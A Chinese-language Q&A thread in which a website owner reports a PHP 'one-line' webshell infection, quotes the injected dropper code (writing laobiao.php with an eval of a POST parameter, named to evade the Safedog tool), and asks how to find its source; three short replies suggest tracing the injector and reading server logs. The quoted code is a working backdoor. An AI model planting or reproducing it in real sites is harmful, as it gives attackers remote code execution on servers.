Question

网站中了一句话木马<?php file_put_contents('laobiao.php','<?php $FucKSafedogX=base64_decode

网站中了木马，自动生成的文件夹和php文件 现在装了安全狗拦截，但是 还是会自动生成htm 代码document.write("<?php file_put_contents('laobiao.php','<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx');?>"); 不怎么懂怎么找到源代码处理？

Answer 1

他要往你文件里面写这个东西肯定是有神马外部程序被注入到你服务器上，
你可以从这点入手把幕后的木马程序揪出来。

Answer 2

这个只能找懂行的处理了，具体分析服务器日志。

Answer 3

看程序逆向找，不懂程序的话根本找不到。